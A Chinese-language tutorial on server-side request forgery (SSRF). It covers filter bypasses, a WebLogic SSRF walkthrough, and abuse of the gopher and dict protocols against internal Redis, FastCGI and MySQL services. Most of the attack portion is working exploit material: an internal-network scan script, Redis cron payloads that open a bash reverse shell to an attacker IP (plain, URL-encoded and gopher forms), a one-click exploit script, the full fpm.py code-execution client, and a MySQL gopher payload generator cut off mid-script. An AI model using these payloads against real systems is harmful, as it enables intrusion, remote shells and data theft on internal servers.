参考文章:

了解SSRF,这一篇就足够了

SSRF 学习之路

SSRF绕过方法总结

Weblogic SSRF漏洞

What-是什么

SSRF(Server-Side Request Forgery)服务器端请求伪造。与 CSRF 不同的是,SSRF 针对的是从外部无法访问的服务器所在的内网,并对其进行探测、攻击。

服务器端请求伪造,简单来说,就是服务器端代替用户向目标网址发起请求,当目标地址为服务器内网时,便造成了 SSRF。

可造成的危害有:

  • 内网主机端口探测(cms识别)
  • 任意文件读取
  • 攻击内网、getshell
  • 等等

Where-在哪里

  • 添加图片地址
  • 添加 url
  • 一些在线服务,如:爬虫、网页分享(获取摘要)等等
  • XXE 漏洞也可以造成 SSRF
  • 远程文件包含也可造成 SSRF
  • 各种 api 接口
    • url 中的关键字有:share、wap、url、link、src、source、target、display、sourceURl、imageURL、domain·······

Why-为什么

服务器端代替用户发起请求时没有对目标地址做过滤与限制,或者说容易被绕过

How-怎么用

  • 内网主机、端口探测

    • 127.0.0.1:6379
    • 192.168.x.x (写脚本或者 BURP 批量跑)
  • 文件读取

    • file:///etc/passwd
    • dict、gopher、ftp 等协议进行请求访问相应的文件

协议有:

协议 PHP JAVA curl Perl ASP.NET
http
https
gopher 编译时使用--with-curlwrappers JDK≤1.7 version≤7.49.0 不支持 version≤3 支持
tftp 编译时使用--with-curlwrappers × version≤7.49.0 不支持 × ×
dict 编译时使用--with-curlwrappers × × ×
file
ftp
imap 编译时使用--with-curlwrappers × ×
pop3 编译时使用--with-curlwrappers × ×
rtsp 编译时使用--with-curlwrappers
smb 编译时使用--with-curlwrappers
smtp 编译时使用--with-curlwrappers × × ×
telnet 编译时使用--with-curlwrappers × × ×
ssh2 开启allow_url_fopen × × 受限于Net:SSH2 ×
ogg 开启allow_url_fopen × × × ×
except 开启allow_url_fopen × × × ×
ldap × × × ×
php × × × ×
zip/bzip2/zlib 开启allow_url_fopen × × × ×

Advanced-提升

内网探测时突破限制:

  • IP/URL白名单

    • 找白名单域内的任意url跳转漏洞
  • 黑名单

    摘抄自SSRF绕过方法总结

    测试代码:

    1. <?php
    2. echo($_GET["url"]);
    3. echo("<br><hr>");
    4. $ch = curl_init();
    5. curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
    6. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    7. curl_setopt($ch, CURLOPT_HEADER, 0);
    8. $output = curl_exec($ch);
    9. echo($output);
    10. curl_close($ch);
    11. ?>
    • 利用进制转换:127.0.0.1:(这里测试代码未成功,但是浏览器上可行)

      • 十进制:http://2130706433/
      • 八进制:http://017700000001/http://0177.0.0.1/
      • 十六进制:http://0x7F000001
    • 利用 localhosthttp://localhost:80 --------------> http://127.0.0.1:80
    • 利用 [::]http://[::]:80 --------------> http://127.0.0.1(测试代码未成功,但是浏览器上可行)
    • 利用 @http://example.com@127.0.0.1 --------------> 实际访问的是 127.0.0.1
    • 利用短网址:https://w.url.cn/s/AOSEXc2 --------------> 对应解析为:http://127.0.0.1
    • 利用 xip.io DNS解析:http://xxx.127.0.0.1.xip.io --------------> xxx 可有可无,对应解析为:http://127.0.0.1
    • 利用域名解析:将自己的域名例如:xxx.com 绑定其 ip 为: 127.0.0.1 等内网地址
    • 利用 Enclosed alphanumerics
    1. ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
    2. List:








    • 利用句号 。:127。0。0。1 --------------> 127.0.0.1
    • 利用特殊地址:http://0/(测试代码未成功,浏览器上也不可行)
    • ipv6
    • 利用各种协议及注意点
      • 常用的协议: gopher dict http https ftp file
      • java ssrf:jdk8 后就不支持 gopher
      • php-file_get_contents:只支持 php 内置的协议 不支持 gopher dict
      • php-libcurl:支持的协议最全, gopher dict 都可以用
      • php-xxe:支持的协议跟 file_get_contents 一样

Solutions-解决的办法

  • 设置 URL 白名单
  • 统一返回信息
  • 限制协议仅为 http/https,限制端口
  • ······

Steps-测试流程

  • 寻找一些跟添加 url 有关的功能点

  • 发包、抓包,观察 GET 参数或者 POST 参数中的参数有无特征参数,并且参数值为 URL 网址

  • 更改其中的 URL 的值后发包,对比正常请求,观察返回包长度、返回码、返回信息、响应时间以及是否有响应,不同则可能存在SSRF漏洞

  • 也可以将其中的 URL 的值改为自己的远程主机,并在主机上开启监听。当监听到该网址发送过来的请求时,则可能存在SSRF漏洞

  • 尝试绕过过滤规则,实现内网探测、攻击,比如说 redis 未授权访问拿 shell 等

  • 利用 file:// 协议,则可进行任意文件读取,进一步利用拿 shell 等

Example-实例

环境

weblogic ssrf

操作

  1. 访问存在 SSRF 漏洞的页面 http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp

  1. 点击 search ,抓包,发送到 Repeater 模块,修改 operator 参数

    • 首先填写一个外网,如 http://www.baidu.com,会提示 Received a response from url: http://www.baidu.com which did not have a valid SOAP content-type: text/html



    很明显,服务器是访问了百度,并且告知客户端其接收到了一个包含content-type: text/html的响应

    • 然后访问一个本机开启的端口,如 http://127.0.0.1:7001,返回结果跟我们用浏览器访问是一样的,一般返回状态码,如404,也可能返回跟访问外网一样的结果



    • 再访问一个未开启的端口,如http://127.0.0.1:8888,返回could not connect over HTTP to server

    • 当访问一些不走 http 协议并且开启了的端口时,会返回Received a response from url: http://172.21.0.2:6379 which did not have a valid SOAP content-type: null

    这里访问的是内网中 redis 服务器,获取 redis ip:docker exec -it 容器id ip addr

  2. 这里假设的是已知内网 redis 服务器 IP,当然也可以写脚本跑

由于这里 POST 请求可以改成 GET,于是可以简单写一下脚本

  1. import requests
  2. for i in range(1,254):
  3. for j in range(1,254):
  4. for k in range(1,254):
  5. url = "http://192.168.230.132:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.{c}.{b}.{a}:6379".format(a=i,b=j,c=k)
  6. try:
  7. r = requests.get(url, timeout=1)
  8. rep = r.text
  9. except:
  10. rep = ''
  11. print("172.%s.%s.%s:6379" %(k,j,i))
  12. if "SOAP" in rep:
  13. print("172.%s.%s.%s:6379 is open!" %(k,j,i))
  14. exit(0)
  15. # 等到我这垃圾脚本跑出来,基本上漏洞已经被修复了
  1. 构造 redis 反弹 shell 命令
  1. test
  2. set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.230.132/1234 0>&1\n\n\n\n"
  3. config set dir /etc/
  4. config set dbfilename crontab
  5. save
  6. aaa

url编码得到:

(注意这里换行要替换为: %0d%0a,而不是 %0a%0a,我一开始直接用的 URL 编码工具全给我编码成 %0a%0a 了,导致一直不成功,弄得我人傻了,一直反弹 shell 失败)

  1. test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.230.132%2F1234%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

至于为什么要将换行符编码为 %0d%0a

redis 服务是通过换行符来分隔每条命令,我们可以通过传入%0d%0a来注入换行符,也就说我们可以通过该 SSRF 攻击内网中的 redis 服务器

  1. 在攻击机上开启 nc 监听

nc -lvvvp 1234

  1. 将 operator 值改为 url 编码后的命令,发包

  2. 看到 nc 上得到反弹的shell

一些常用在 SSRF 中的协议以及 SSRF 还能做什么

参考文章:

Fastcgi 协议分析 && PHP-FPM 未授权访问漏洞 && Exp 编写

利用 Gopher 协议拓展攻击面

SSRF漏洞中使用到的其他协议

SSRF in PHP

SSRF 攻击内网应用

常用协议

  1. file://

不用多说,file 协议用来读取本地文件,如 operator=file:///etc/passwd,可以看看这篇文章,通过 file 协议进一步拿 shell。

  1. gopher://

当探测内网或执行命令时需要发送 POST 请求,我们便可以利用 gopher 协议

协议格式:gopher://<host>:<port>/<gopher-path>,这里的gopher-path就相当于是发送的请求数据包

特性:当使用 gopher 协议时,gopher-path的第一个字符会被吞噬,所以我们在发送请求时要注意这一点

注意点:CRLF(换行) 需要双重 URL 编码,即%250d%250a

  • 发送 GET 请求
  1. gopher://192.168.1.107:80/_GET%20/%20HTTP1.1%250d%250aHost:%20192.168.1.107

  • 发送 POST 请求
  1. gopher://192.168.1.107:80/_POST%20/%20HTTP1.1%250d%250aHost:%20192.168.1.107%250d%250a%250d%250aurl=http://baidu.com
  1. dict://

dict协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,能用来探测端口的指纹信息

协议格式:dict://<host>:<port>/<dict-path>

一般为:dict://<host>:<port>/info 探测端口应用信息

执行命令:dict://<host>:<port>/命令:参数 冒号相当于空格,在 redis 利用中,只能利用未授权访问的 redis

与 gopher 不同的是,使用 dict 协议并不会吞噬第一个字符,并且会多加一个 quit 字符串,自动添加 CRLF 换行

其他的与 gopher 没有太大差别

在 redis 未授权访问中,当传输命令时,dict 协议的话要一条一条的执行,而 gopher 协议执行一条命令就行了,所以一般 dict 协议只是当个备胎用

而且在传输命令时,若命令中有空格,则该命令需要做一次十六进制编码

大佬的脚本:

  1. cmd = "\n\n* * * * * root bash -i >& /dev/tcp/192.168.230.132/1234 0>&1\n\n"
  2. cmd_encoder = ""
  3. for single_char in cmd:
  4. cmd_encoder += hex(ord(single_char).replace("0xa","0x0a").replace("0x","\\\\x"))
  5. print(cmd_encoder)

所以执行的命令为,当在浏览器中执行时,需要再进行一次 url 编码

  1. set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.230.132/1234 0>&1\n\n\n\n"
  2. 对应
  3. dict://172.2.0.2:6379/set:1:\"十六进制编码\"
  4. config set dir /etc/
  5. 对应:
  6. dict://172.2.0.2:6379/config:set:dir:/etc/
  7. config set dbfilename crontab
  8. 对应:
  9. dict://172.2.0.2:6379/config:set:dbfilename:crontab
  10. save
  11. 对应:
  12. dict://172.2.0.2:6379/save

大佬的一键式 ssrf + redis + dict 利用脚本

  1. #!/usr/bin/python
  2. # -*- coding: UTF-8 -*-
  3. import urllib2,urllib,binascii
  4. url = "http://192.168.0.109/ssrf/base/curl_exec.php?url=" # 存在 ssrf 的 url
  5. target = "dict://192.168.0.119:6379/" # redis 服务器地址
  6. cmds = ['set:mars:\\\\"\\n* * * * * root bash -i >& /dev/tcp/192.168.0.119/9999 0>&1\\n\\\\"', # shell接收地址与端口号
  7. "config:set:dir:/etc/",
  8. "config:set:dbfilename:crontab",
  9. "bgsave"]
  10. for cmd in cmds:
  11. cmd_encoder = ""
  12. for single_char in cmd:
  13. # 先转为ASCII
  14. cmd_encoder += hex(ord(single_char)).replace("0x","")
  15. cmd_encoder = binascii.a2b_hex(cmd_encoder)
  16. cmd_encoder = urllib.quote(cmd_encoder,'utf-8')
  17. payload = url + target + cmd_encoder
  18. print payload
  19. request = urllib2.Request(payload)
  20. response = urllib2.urlopen(request).read()
  1. redis 中的 RESP 协议

RESP 协议是 redis 服务之间数据传输的通信协议,redis 客户端和 redis 服务端之间通信会采取 RESP 协议

例如:

  1. *1
  2. $8
  3. flushall
  4. *3
  5. $3
  6. set
  7. $1
  8. 1
  9. $64
  10. */1 * * * * bash -i >& /dev/tcp/192.168.230.132/1234 0>&1
  11. *4
  12. $6
  13. config
  14. $3
  15. set
  16. $3
  17. dir
  18. $16
  19. /var/spool/cron/
  20. *4
  21. $6
  22. config
  23. $3
  24. set
  25. $10
  26. dbfilename
  27. $4
  28. root
  29. *1
  30. $4
  31. save
  32. quit

其中

  • *n代表着一条命令的开始,n 表示该条命令由 n 个字符串组成
  • $n代表着该字符串有 n 个字符

于是便也可以直接利用 gopher 协议反弹 shell,注意各行命令仍旧用 %0d%0a 做分隔:

  1. ?operator=gopher%3a%2f%2f172.21.0.2:6379%2f_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*%2f1%20*%20*%20*%20*%20bash%20-i%20>& %2fdev%2ftcp%2f192.168.230.132%2f1234%200>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a%2fvar%2fspool%2fcron%2f%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

此时利用 gopher 协议的局限性有: 摘自利用 Gopher 协议拓展攻击面

大部分 PHP 并不会开启 fopen 的 gopher wrapper

file_get_contents 的 gopher 协议不能 URLencode

file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败

PHP 的 curl 默认不 follow 302 跳转

curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用

攻击其他应用

  1. SSRF 攻击 FastCGI

大佬文章:Fastcgi 协议分析 && PHP-FPM 未授权访问漏洞 && Exp 编写

前提条件:

  • PHP-FPM 监听端口
  • PHP-FPM 版本 >= 5.3.3
  • libcurl 版本>= 7.45.0(curl 版本小于 7.45.0 时,gopher 的 %00 会被截断)
  • 知道服务器上任意一个 php 文件的绝对路径,例如 /usr/local/lib/php/PEAR.php

利用脚本:phith0n/fpm.py

  1. import socket
  2. import random
  3. import argparse
  4. import sys
  5. from io import BytesIO
  6. # Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
  7. PY2 = True if sys.version_info.major == 2 else False
  8. def bchr(i):
  9. if PY2:
  10. return force_bytes(chr(i))
  11. else:
  12. return bytes([i])
  13. def bord(c):
  14. if isinstance(c, int):
  15. return c
  16. else:
  17. return ord(c)
  18. def force_bytes(s):
  19. if isinstance(s, bytes):
  20. return s
  21. else:
  22. return s.encode('utf-8', 'strict')
  23. def force_text(s):
  24. if issubclass(type(s), str):
  25. return s
  26. if isinstance(s, bytes):
  27. s = str(s, 'utf-8', 'strict')
  28. else:
  29. s = str(s)
  30. return s
  31. class FastCGIClient:
  32. """A Fast-CGI Client for Python"""
  33. # private
  34. __FCGI_VERSION = 1
  35. __FCGI_ROLE_RESPONDER = 1
  36. __FCGI_ROLE_AUTHORIZER = 2
  37. __FCGI_ROLE_FILTER = 3
  38. __FCGI_TYPE_BEGIN = 1
  39. __FCGI_TYPE_ABORT = 2
  40. __FCGI_TYPE_END = 3
  41. __FCGI_TYPE_PARAMS = 4
  42. __FCGI_TYPE_STDIN = 5
  43. __FCGI_TYPE_STDOUT = 6
  44. __FCGI_TYPE_STDERR = 7
  45. __FCGI_TYPE_DATA = 8
  46. __FCGI_TYPE_GETVALUES = 9
  47. __FCGI_TYPE_GETVALUES_RESULT = 10
  48. __FCGI_TYPE_UNKOWNTYPE = 11
  49. __FCGI_HEADER_SIZE = 8
  50. # request state
  51. FCGI_STATE_SEND = 1
  52. FCGI_STATE_ERROR = 2
  53. FCGI_STATE_SUCCESS = 3
  54. def __init__(self, host, port, timeout, keepalive):
  55. self.host = host
  56. self.port = port
  57. self.timeout = timeout
  58. if keepalive:
  59. self.keepalive = 1
  60. else:
  61. self.keepalive = 0
  62. self.sock = None
  63. self.requests = dict()
  64. def __connect(self):
  65. self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  66. self.sock.settimeout(self.timeout)
  67. self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  68. # if self.keepalive:
  69. # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
  70. # else:
  71. # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
  72. try:
  73. self.sock.connect((self.host, int(self.port)))
  74. except socket.error as msg:
  75. self.sock.close()
  76. self.sock = None
  77. print(repr(msg))
  78. return False
  79. return True
  80. def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
  81. length = len(content)
  82. buf = bchr(FastCGIClient.__FCGI_VERSION) \
  83. + bchr(fcgi_type) \
  84. + bchr((requestid >> 8) & 0xFF) \
  85. + bchr(requestid & 0xFF) \
  86. + bchr((length >> 8) & 0xFF) \
  87. + bchr(length & 0xFF) \
  88. + bchr(0) \
  89. + bchr(0) \
  90. + content
  91. return buf
  92. def __encodeNameValueParams(self, name, value):
  93. nLen = len(name)
  94. vLen = len(value)
  95. record = b''
  96. if nLen < 128:
  97. record += bchr(nLen)
  98. else:
  99. record += bchr((nLen >> 24) | 0x80) \
  100. + bchr((nLen >> 16) & 0xFF) \
  101. + bchr((nLen >> 8) & 0xFF) \
  102. + bchr(nLen & 0xFF)
  103. if vLen < 128:
  104. record += bchr(vLen)
  105. else:
  106. record += bchr((vLen >> 24) | 0x80) \
  107. + bchr((vLen >> 16) & 0xFF) \
  108. + bchr((vLen >> 8) & 0xFF) \
  109. + bchr(vLen & 0xFF)
  110. return record + name + value
  111. def __decodeFastCGIHeader(self, stream):
  112. header = dict()
  113. header['version'] = bord(stream[0])
  114. header['type'] = bord(stream[1])
  115. header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
  116. header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
  117. header['paddingLength'] = bord(stream[6])
  118. header['reserved'] = bord(stream[7])
  119. return header
  120. def __decodeFastCGIRecord(self, buffer):
  121. header = buffer.read(int(self.__FCGI_HEADER_SIZE))
  122. if not header:
  123. return False
  124. else:
  125. record = self.__decodeFastCGIHeader(header)
  126. record['content'] = b''
  127. if 'contentLength' in record.keys():
  128. contentLength = int(record['contentLength'])
  129. record['content'] += buffer.read(contentLength)
  130. if 'paddingLength' in record.keys():
  131. skiped = buffer.read(int(record['paddingLength']))
  132. return record
  133. def request(self, nameValuePairs={}, post=''):
  134. if not self.__connect():
  135. print('connect failure! please check your fasctcgi-server !!')
  136. return
  137. requestId = random.randint(1, (1 << 16) - 1)
  138. self.requests[requestId] = dict()
  139. request = b""
  140. beginFCGIRecordContent = bchr(0) \
  141. + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
  142. + bchr(self.keepalive) \
  143. + bchr(0) * 5
  144. request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
  145. beginFCGIRecordContent, requestId)
  146. paramsRecord = b''
  147. if nameValuePairs:
  148. for (name, value) in nameValuePairs.items():
  149. name = force_bytes(name)
  150. value = force_bytes(value)
  151. paramsRecord += self.__encodeNameValueParams(name, value)
  152. if paramsRecord:
  153. request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
  154. request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
  155. if post:
  156. request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
  157. request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
  158. self.sock.send(request)
  159. self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
  160. self.requests[requestId]['response'] = b''
  161. return self.__waitForResponse(requestId)
  162. def __waitForResponse(self, requestId):
  163. data = b''
  164. while True:
  165. buf = self.sock.recv(512)
  166. if not len(buf):
  167. break
  168. data += buf
  169. data = BytesIO(data)
  170. while True:
  171. response = self.__decodeFastCGIRecord(data)
  172. if not response:
  173. break
  174. if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
  175. or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
  176. if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
  177. self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
  178. if requestId == int(response['requestId']):
  179. self.requests[requestId]['response'] += response['content']
  180. if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
  181. self.requests[requestId]
  182. return self.requests[requestId]['response']
  183. def __repr__(self):
  184. return "fastcgi connect host:{} port:{}".format(self.host, self.port)
  185. if __name__ == '__main__':
  186. parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
  187. parser.add_argument('host', help='Target host, such as 127.0.0.1')
  188. parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
  189. parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
  190. parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
  191. args = parser.parse_args()
  192. client = FastCGIClient(args.host, args.port, 3, 0)
  193. params = dict()
  194. documentRoot = "/"
  195. uri = args.file
  196. content = args.code
  197. params = {
  198. 'GATEWAY_INTERFACE': 'FastCGI/1.0',
  199. 'REQUEST_METHOD': 'POST',
  200. 'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
  201. 'SCRIPT_NAME': uri,
  202. 'QUERY_STRING': '',
  203. 'REQUEST_URI': uri,
  204. 'DOCUMENT_ROOT': documentRoot,
  205. 'SERVER_SOFTWARE': 'php/fcgiclient',
  206. 'REMOTE_ADDR': '127.0.0.1',
  207. 'REMOTE_PORT': '9985',
  208. 'SERVER_ADDR': '127.0.0.1',
  209. 'SERVER_PORT': '80',
  210. 'SERVER_NAME': "localhost",
  211. 'SERVER_PROTOCOL': 'HTTP/1.1',
  212. 'CONTENT_TYPE': 'application/text',
  213. 'CONTENT_LENGTH': "%d" % len(content),
  214. 'PHP_VALUE': 'auto_prepend_file = php://input',
  215. 'PHP_ADMIN_VALUE': 'allow_url_include = On'
  216. }
  217. response = client.request(params, content)
  218. print(force_text(response))

具体操作:

  • 监听一个端口,并将内容输出

    • nc -lvv 2333 > 1.txt
  • 利用上述脚本
    • python fpm.py -c "想执行的php代码" -p 2333 127.0.0.1 /usr/local/nginx/html/p.php
  • 将 nc 监听的结果转码并转换为 gopher 协议
    • 脚本如下:
    1. from urllib import quote
    2. payload = ""
    3. ip = "172.21.0.2:9000" # fastCGI的内网ip及端口
    4. with open('1.txt') as f:
    5. payload = f.read()
    6. payload += "gopher://" + ip +"/_" + quote(payload)
    7. print(payload)
  • 在存在 SSRF 的点注入即可
  1. ?operator=payload
  1. SSRF 攻击 MySQL

当可以无密码登陆 mysql 时,便可以利用 gopher 协议对其进行攻击

方法一:

利用脚本:mysql_gopher_attack

  1. #!/usr/bin/env python
  2. # coding=utf-8
  3. from socket import *
  4. from struct import *
  5. from urllib2 import quote,unquote
  6. import sys
  7. import hashlib
  8. import argparse
  9. def hexdump(src, title, length=16):
  10. result = []
  11. digits = 4 if isinstance(src, unicode) else 2
  12. for i in xrange(0, len(src), length):
  13. s = src[i:i + length]
  14. hexa = b''.join(["%0*X" % (digits, ord(x)) for x in s])
  15. hexa = hexa[:16]+" "+hexa[16:]
  16. text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s])
  17. result.append(b"%04X %-*s %s" % (i, length * (digits + 1), hexa, text))
  18. print title
  19. print(b'\n'.join(result))
  20. print '\n'
  21. def create_zip(filename, content_size):
  22. content = '-'*content_size
  23. filename = pack('<%ds'%len(filename), filename)
  24. content_len_b = pack('<I', len(content))
  25. filename_len_b = pack('<H', len(filename))
  26. local_file_header = b"\x50\x4b\x03\x04\x0a\x00"+"\x00"*12
  27. local_file_header += content_len_b*2
  28. local_file_header += filename_len_b
  29. local_file_header += "\x00\x00"
  30. local_file_header += filename
  31. cd_file_header = b"\x50\x4b\x01\x02\x1e\x03\x0a\x00"+"\x00"*12+filename_len_b+"\x00"*16+filename
  32. cd_file_header_len_b = pack("<I", len(cd_file_header))
  33. offset = pack("<I",len(local_file_header+cd_file_header))
  34. eof_record = b"\x50\x4b\x05\x06"+"\x00"*4+"\x01\x00"*2+cd_file_header_len_b+offset+"\x00\x00"
  35. #return each party of zip
  36. return [local_file_header,content,cd_file_header+eof_record]
  37. class Protocal:
  38. last_packet_index = 0
  39. connect_status = 0 #mark last connection is finish or no
  40. login_packet = ''
  41. def __init__(self, host, port, username, password, database):
  42. self.username = username
  43. self.password = password
  44. self.database = database
  45. self.host = host
  46. self.port = port
  47. def __unpack(self, data):
  48. length = unpack('I', data[:3]+b'\x00')
  49. self.last_packet_index = unpack('B', data[3:4])[0]
  50. if len(data)-4 != length[0]:
  51. print '[-] packet parse error, except lengt {} but {}'.format(length[0], len(data))
  52. sys.exit(1)
  53. return data[4:];
  54. def __pack(self, data):
  55. if self.connect_status == 0:
  56. self.last_packet_index += 1
  57. elif self.connect_status == 1:
  58. self.last_packet_index = 0
  59. header = len(data)
  60. header = pack('<I', len(data))[:3]+pack('B', self.last_packet_index)
  61. return header+data
  62. def __parse_handshake(self, data):
  63. if DEBUG:
  64. hexdump(data,'server handshake')
  65. data = self.__unpack(data)
  66. protocolVersion = unpack('B', data[:1])
  67. svLen = 0
  68. for byte in data[1:]:
  69. svLen += 1
  70. if byte == b'\x00':
  71. break;
  72. serverVersion = data[1:svLen]
  73. threadId = unpack('I', data[svLen+1:svLen+5])
  74. scramble = unpack('8B', data[svLen+5:svLen+13])
  75. serverEncode = unpack('B',data[svLen+16:svLen+17])
  76. scramble += unpack('12B', data[svLen+32:svLen+44])
  77. scramble = ''.join([chr(i) for i in scramble])
  78. packet = {
  79. 'protocolVersion':protocolVersion[0],
  80. 'serverVersion':serverVersion[0],
  81. 'threadId':threadId[0],
  82. 'scramble':scramble,
  83. 'serverEncode':serverEncode[0]
  84. }
  85. return packet
  86. def encode_password(self, password, scramble):
  87. if password:
  88. stage1_hash = self.__sha1(password)
  89. token = self.xor_string(self.__sha1(scramble+self.__sha1(stage1_hash)), stage1_hash)
  90. return token
  91. else:
  92. return ""
  93. def xor_string(self, str1, str2):
  94. r = ''
  95. for x,y in zip(str1, str2):
  96. r += chr(ord(x)^ord(y))
  97. return r
  98. def __sha1(self, data):
  99. m = hashlib.sha1()
  100. m.update(data)
  101. return m.digest()
  102. def get_client_capabilities(self):
  103. CLIENT_LONG_PASSWORD = 0x0001
  104. CLIENT_FOUND_ROWS = 0x0002
  105. CLIENT_LONG_FLAG = 0x0004
  106. CLIENT_CONNECT_WITH_DB = 0x0008
  107. CLIENT_ODBC = 0x0040
  108. CLIENT_IGNORE_SPACE = 0x0100
  109. CLIENT_PROTOCOL_41 = 0x0200
  110. CLIENT_INTERACTIVE = 0x0400
  111. CLIENT_IGNORE_SIGPIPE = 0x1000
  112. CLIENT_TRANSACTIONS = 0x2000
  113. CLIENT_SECURE_CONNECTION = 0x8000
  114. flag = 0;
  115. flag = flag|CLIENT_LONG_PASSWORD|CLIENT_FOUND_ROWS|CLIENT_LONG_FLAG|CLIENT_CONNECT_WITH_DB|CLIENT_ODBC|CLIENT_IGNORE_SPACE|CLIENT_PROTOCOL_41|CLIENT_INTERACTIVE|CLIENT_IGNORE_SIGPIPE|CLIENT_TRANSACTIONS|CLIENT_SECURE_CONNECTION;
  116. return pack('I', flag);
  117. def __write(self, data):
  118. return self.sock.send(data)
  119. def __read(self, lentgh):
  120. return self.sock.recv(lentgh)
  121. def __get_login_packet(self, scramble):
  122. packet = ''
  123. packet += self.get_client_capabilities() #clientFlags
  124. packet += pack('I', 1024*1024*16) #maxPacketSize
  125. packet += b'\x21' #charset 0x21=utf8
  126. packet += b'\x00'*23
  127. packet += self.username+b'\x00'
  128. passowrd = self.encode_password(self.password, scramble)
  129. packet += chr(len(passowrd))+passowrd
  130. packet += self.database + b'\x00'
  131. packet = self.__pack(packet)
  132. return packet
  133. def execute(self, sql):
  134. packet = self.__pack(b'\x03'+sql)
  135. if DEBUG:
  136. hexdump(packet, 'execute request packet')
  137. self.__write(packet)
  138. response = self.__read(1000)
  139. if DEBUG:
  140. hexdump(response, 'execute result packet')
  141. return response
  142. def __login(self, scramble):
  143. packet = self.__get_login_packet(scramble);
  144. if DEBUG:
  145. hexdump(packet, 'client login packet:')
  146. self.__write(packet);
  147. response = self.__read(1024)
  148. responsePacket = self.__unpack(response)
  149. self.connect_status = 1;
  150. if responsePacket[0] == b'\x00':
  151. print '[+] Login Success'
  152. else:
  153. print '[+] Login error, reason:{}'.format(responsePacket[4:])
  154. if DEBUG:
  155. hexdump(response, 'client Login Result packet:')
  156. def get_payload(self, _sql, size, verbose):
  157. if _sql[-1] == ';':
  158. _sql = _sql[:-1]
  159. # zipFile = create_zip('this_is_the_flag', size)
  160. # sql = 'select concat(cast({pre} as binary), rpad(({sql}), {size}, \'-\'), cast({suf} as binary))'.format(pre='0x'+zipFile[0].encode('hex'), sql=_sql, size=size, suf='0x'+zipFile[2].encode('hex'))
  161. sql = _sql
  162. if verbose:
  163. print 'sql: ',sql
  164. login_packet = self.__get_login_packet('')
  165. self.connect_status = 1;
  166. packet = self.__pack(b'\x03'+sql)
  167. return login_packet + packet
  168. def connect(self):
  169. try:
  170. self.sock = socket(AF_INET, SOCK_STREAM)
  171. self.sock.connect((self.host, int(self.port)))
  172. except Exception,e:
  173. print '[-] connect error: {}'.format(str(e))
  174. return
  175. handshakePacket = self.__read(1024)
  176. handshakeInfo = self.__parse_handshake(handshakePacket);
  177. self.__login(handshakeInfo['scramble'])
  178. parser = argparse.ArgumentParser(description='generate payload of gopher attack mysql')
  179. parser.add_argument("-u", "--user", help="database user", required=True)
  180. parser.add_argument("-d", "--database", help="select database", required=True)
  181. parser.add_argument("-t", "--target", dest="host", help="database host", default="127.0.0.1")
  182. parser.add_argument("-p", "--password", help="database password default null", default="")
  183. parser.add_argument("-P", "--payload", help="the sql you want to execute with out ';'", required=True)
  184. parser.add_argument("-v", "--verbose", help="dump details", action="store_true")
  185. parser.add_argument("-c", "--connect", help="connect your database", action="store_true")
  186. parser.add_argument("--sql", help="print generated sql", action="store_true")
  187. if __name__ == '__main__':
  188. args = parser.parse_args()
  189. DEBUG = 0
  190. if args.verbose:
  191. DEBUG = 1
  192. #default database user m4st3r_ov3rl0rd
